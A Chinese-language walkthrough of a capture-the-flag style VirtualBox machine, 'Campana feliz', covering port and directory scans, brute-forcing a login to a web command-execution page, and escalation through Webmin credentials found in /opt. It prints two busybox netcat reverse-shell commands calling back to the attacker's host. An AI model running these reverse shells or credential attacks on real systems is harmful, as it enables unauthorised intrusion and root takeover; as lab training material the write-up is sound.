Campana feliz

image

信息搜集

192.168.100.39

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
┌──(root㉿kali)-[~]
└─# rustscan -a 192.168.100.39 -- -A
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
🌍HACK THE PLANET🌍

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.100.39:22
Open 192.168.100.39:8088
Open 192.168.100.39:10000
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.100.39
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-12 01:12 EDT
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 01:12
Completed NSE at 01:12, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 01:12
Completed NSE at 01:12, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 01:12
Completed NSE at 01:12, 0.00s elapsed
Initiating ARP Ping Scan at 01:12
Scanning 192.168.100.39 [1 port]
Completed ARP Ping Scan at 01:12, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 01:12
Completed Parallel DNS resolution of 1 host. at 01:12, 0.26s elapsed
DNS resolution of 1 IPs took 0.26s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 01:12
Scanning 192.168.100.39 [3 ports]
Discovered open port 22/tcp on 192.168.100.39
Discovered open port 10000/tcp on 192.168.100.39
Discovered open port 8088/tcp on 192.168.100.39
Completed SYN Stealth Scan at 01:12, 0.03s elapsed (3 total ports)
Initiating Service scan at 01:12
Scanning 3 services on 192.168.100.39
Completed Service scan at 01:14, 98.96s elapsed (3 services on 1 host)
Initiating OS detection (try #1) against 192.168.100.39
NSE: Script scanning 192.168.100.39.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 01:14
Completed NSE at 01:14, 10.03s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 01:14
Completed NSE at 01:14, 1.14s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 01:14
Completed NSE at 01:14, 0.00s elapsed
Nmap scan report for 192.168.100.39
Host is up, received arp-response (0.00059s latency).
Scanned at 2026-04-12 01:12:41 EDT for 112s

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 3d:9f:d1:71:81:33:e4:14:8a:78:1c:16:b4:a3:22:da (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBE26WZCJKNm42FkiWgFz5ZRxaWfxKbxPB4zI3SAtvLxaMtyYdl1Z90/40WQdhxp+J0YDJ1+z2ayGBa1MnThGeQw=
| 256 74:3f:23:c1:c2:68:1e:b5:72:44:8a:8c:02:e4:e5:02 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOun6lhebnb7mTYa9/UogRMtfhXtgRD77icr0yZ0I71w
8088/tcp open http syn-ack ttl 64 Apache httpd 2.4.62 ((Debian))
|_http-title: Site doesn't have a title (text/html).
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.62 (Debian)
10000/tcp open ssl/snet-sensor-mgmt? syn-ack ttl 64
|_ssl-date: TLS randomness does not represent time
| fingerprint-strings:
| GetRequest, HTTPOptions:
| HTTP/1.0 200 Document follows
| Date: Sun, 12 Apr 2026 05:12:59 GMT
| Server: MiniServ
| Connection: close
| Auth-type: auth-required=1
| Set-Cookie: redirect=1; path=/; secure; httpOnly
| Set-Cookie: testing=1; path=/; secure; httpOnly
| X-Frame-Options: SAMEORIGIN
| Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval'; frame-src 'self'; child-src 'self'
| X-Content-Type-Options: nosniff
| X-no-links: 1
| Content-type: text/html; Charset=UTF-8
| <!DOCTYPE HTML>
| <html data-bgs="gainsboro" class="session_login">
| <head>
| <meta name="color-scheme" content="only light">
|_ <noscript> <style> html[data-bgs="gainsboro"] { background-color: #d6d6d6; } html[data-bgs="nightRider"] { background-color: #1a1c20; } html[data-bgs="nightRider"] div[data-noscript] { color: #979ba080; } html[data-slider-fixed='1'] { margin-right: 0 !important; } body > div[data-noscript] ~ * { display: none !impo
| ssl-cert: Subject: commonName=debian/countryName=US/localityName=Santa Clara
| Subject Alternative Name: DNS:debian, DNS:localhost
| Issuer: commonName=debian/countryName=US/localityName=Santa Clara
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-12-09T08:17:52
| Not valid after: 2029-12-08T08:17:52
| MD5: 85ea:d259:1c9e:7ee4:501c:4170:3597:8e5a
| SHA-1: ee3e:60e2:f22c:4046:c7e9:0fad:8fe7:4699:d051:02fc
| -----BEGIN CERTIFICATE-----
| MIIDfjCCAmagAwIBAgIUcp9GPn49A8asxuaYQNCD1KB1AeYwDQYJKoZIhvcNAQEL
| BQAwNDEPMA0GA1UEAwwGZGViaWFuMQswCQYDVQQGEwJVUzEUMBIGA1UEBwwLU2Fu
| dGEgQ2xhcmEwHhcNMjQxMjA5MDgxNzUyWhcNMjkxMjA4MDgxNzUyWjA0MQ8wDQYD
| VQQDDAZkZWJpYW4xCzAJBgNVBAYTAlVTMRQwEgYDVQQHDAtTYW50YSBDbGFyYTCC
| ASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALh3ytrO5lijSpGCc9qq8cPY
| JtgScoHy36Pm/y7CGkLG2uhLndmBHOxaIOA6B7hnnn01RYuxPu1RZsOaNkWT/DEY
| 2ixRojISglxE3oJyi8r6g1JVtSEYmLkmMQOZTzpVVvyxCjuS9eTpyfZ5M9/3piHi
| C0tadKTM17p5hXQpR/9/uV4u9LJVTWqCLeFYJCF9L1wLPaxI57b5gKRMEt9l3aWe
| qJ1mfWfduxZvy321GkPvZbYJZQOSDKMwSxSGC07/ufheBhj8weO7ltPFG1PKPKgb
| vXlK7Z8Drqmnzu6uHkF/CvxkmaT2uNodTyISSuBZFo/0lsewFBY5evwIuQAvdwUC
| AwEAAaOBhzCBhDAdBgNVHQ4EFgQUxI7o1by4YWG2b1CKr2ZrfuR5xB4wHwYDVR0j
| BBgwFoAUxI7o1by4YWG2b1CKr2ZrfuR5xB4wDwYDVR0TAQH/BAUwAwEB/zAcBgNV
| HREEFTATggZkZWJpYW6CCWxvY2FsaG9zdDATBgNVHSUEDDAKBggrBgEFBQcDATAN
| BgkqhkiG9w0BAQsFAAOCAQEArEjYTtEn0x7NHB2McCDpHJEv4Tdz+2mEtZpbLc/R
| lZY71AGBjqRQfmUTNYs8hgQjo5bpxNYayNcVSoIBUZqs1gs20ffac1xLdG7Ev75Y
| 7GfMkCBJcZMlP/PkQQaOP9nmHkij2xO4aG33gF6hZO0KhUCcofYroh+S9Vsfs61A
| YIeYytBPD4ISr4u1vkxsahc/NwcraCArrXCRzfE5KtFzlymAF+IlFsYO2ZPkCLgF
| qr59M8SSJm6Lb1ltmMoidzLTQjE+Ukj1I5vNw3C6i3MPyX64MAHPe6QKsE/NS5zm
| lwROSCc6VVRHuJJXQZcuLd3xuPKCQg4Q0D5e0P3yINbqIA==
|_-----END CERTIFICATE-----
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port10000-TCP:V=7.95%T=SSL%I=7%D=4/12%Time=69DB29DB%P=x86_64-pc-linux-g
SF:nu%r(GetRequest,103A,"HTTP/1\.0\x20200\x20Document\x20follows\r\nDate:\
SF:x20Sun,\x2012\x20Apr\x202026\x2005:12:59\x20GMT\r\nServer:\x20MiniServ\
SF:r\nConnection:\x20close\r\nAuth-type:\x20auth-required=1\r\nSet-Cookie:
SF:\x20redirect=1;\x20path=/;\x20secure;\x20httpOnly\r\nSet-Cookie:\x20tes
SF:ting=1;\x20path=/;\x20secure;\x20httpOnly\r\nX-Frame-Options:\x20SAMEOR
SF:IGIN\r\nContent-Security-Policy:\x20script-src\x20'self'\x20'unsafe-inl
SF:ine'\x20'unsafe-eval';\x20frame-src\x20'self';\x20child-src\x20'self'\r
SF:\nX-Content-Type-Options:\x20nosniff\r\nX-no-links:\x201\r\nContent-typ
SF:e:\x20text/html;\x20Charset=UTF-8\r\n\r\n<!DOCTYPE\x20HTML>\n<html\x20d
SF:ata-bgs=\"gainsboro\"\x20class=\"session_login\">\n<head>\n\x20<meta\x2
SF:0name=\"color-scheme\"\x20content=\"only\x20light\">\n\x20<noscript>\x2
SF:0<style>\x20html\[data-bgs=\"gainsboro\"\]\x20{\x20background-color:\x2
SF:0#d6d6d6;\x20}\x20html\[data-bgs=\"nightRider\"\]\x20{\x20background-co
SF:lor:\x20#1a1c20;\x20}\x20html\[data-bgs=\"nightRider\"\]\x20div\[data-n
SF:oscript\]\x20{\x20color:\x20#979ba080;\x20}\x20html\[data-slider-fixed=
SF:'1'\]\x20{\x20margin-right:\x200\x20!important;\x20}\x20body\x20>\x20di
SF:v\[data-noscript\]\x20~\x20\*\x20{\x20display:\x20none\x20!impo")%r(HTT
SF:POptions,103A,"HTTP/1\.0\x20200\x20Document\x20follows\r\nDate:\x20Sun,
SF:\x2012\x20Apr\x202026\x2005:12:59\x20GMT\r\nServer:\x20MiniServ\r\nConn
SF:ection:\x20close\r\nAuth-type:\x20auth-required=1\r\nSet-Cookie:\x20red
SF:irect=1;\x20path=/;\x20secure;\x20httpOnly\r\nSet-Cookie:\x20testing=1;
SF:\x20path=/;\x20secure;\x20httpOnly\r\nX-Frame-Options:\x20SAMEORIGIN\r\
SF:nContent-Security-Policy:\x20script-src\x20'self'\x20'unsafe-inline'\x2
SF:0'unsafe-eval';\x20frame-src\x20'self';\x20child-src\x20'self'\r\nX-Con
SF:tent-Type-Options:\x20nosniff\r\nX-no-links:\x201\r\nContent-type:\x20t
SF:ext/html;\x20Charset=UTF-8\r\n\r\n<!DOCTYPE\x20HTML>\n<html\x20data-bgs
SF:=\"gainsboro\"\x20class=\"session_login\">\n<head>\n\x20<meta\x20name=\
SF:"color-scheme\"\x20content=\"only\x20light\">\n\x20<noscript>\x20<style
SF:>\x20html\[data-bgs=\"gainsboro\"\]\x20{\x20background-color:\x20#d6d6d
SF:6;\x20}\x20html\[data-bgs=\"nightRider\"\]\x20{\x20background-color:\x2
SF:0#1a1c20;\x20}\x20html\[data-bgs=\"nightRider\"\]\x20div\[data-noscript
SF:\]\x20{\x20color:\x20#979ba080;\x20}\x20html\[data-slider-fixed='1'\]\x
SF:20{\x20margin-right:\x200\x20!important;\x20}\x20body\x20>\x20div\[data
SF:-noscript\]\x20~\x20\*\x20{\x20display:\x20none\x20!impo");
MAC Address: 08:00:27:45:7B:39 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
TCP/IP fingerprint:
OS:SCAN(V=7.95%E=4%D=4/12%OT=22%CT=%CU=43854%PV=Y%DS=1%DC=D%G=N%M=080027%TM
OS:=69DB2A39%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=109%TI=Z%CI=Z%II=I%
OS:TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5
OS:=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=
OS:FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%
OS:A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0
OS:%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S
OS:=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R
OS:=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N
OS:%T=40%CD=S)

Uptime guess: 26.956 days (since Mon Mar 16 02:17:13 2026)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.59 ms 192.168.100.39

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 01:14
Completed NSE at 01:14, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 01:14
Completed NSE at 01:14, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 01:14
Completed NSE at 01:14, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 112.17 seconds
Raw packets sent: 26 (1.938KB) | Rcvd: 18 (1.410KB)

1000是一个webmin的服务

目录扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(root㉿kali)-[~]
└─# gobuster dir -u http://192.168.100.39:8088/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,wsp,py,js,phps --exclude-length 281
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.100.39:8088/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] Exclude Length: 281
[+] User Agent: gobuster/3.6
[+] Extensions: txt,wsp,py,js,phps,php,html
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 196]
/shell.php (Status: 200) [Size: 1359]
Progress: 1764480 / 1764488 (100.00%)
===============================================================
Finished
===============================================================

在8088端口web服务中的源码中发现了hint

image

需要base64解密

image

怀疑是用户名尝试爆破然后登录shell.php

yakit枚举

image

campana:lovely

image

是一个命令执行的web页面,且没有waf过滤

image

反弹shell

1
busybox nc 192.168.100.43 7777 -e sh

image

提权

www -> root

在opt文件夹中有个CMS Webmin.txt文件

里面记录了webmian的登录账号密码

1
2
cd /opt/
cat CMS\ Webmin.txt

在菜单栏tools中command shell是root的

image

反弹shell获取root shell

1
busybox nc 192.168.100.43 8888 -e sh

image